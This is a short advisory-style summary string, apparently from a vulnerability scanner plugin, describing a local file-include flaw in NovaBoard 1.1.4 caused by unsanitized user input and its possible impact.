tag_summary = "NovaBoard is prone to a local file-include vulnerability because it
fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially
sensitive information or to execute arbitrary local scripts in the
context of the webserver process. This may allow the attacker to
compromise the application and the computer; other attacks are
also possible.

NovaBoard 1.1.4 is vulnerable; other versions may also be affected.";
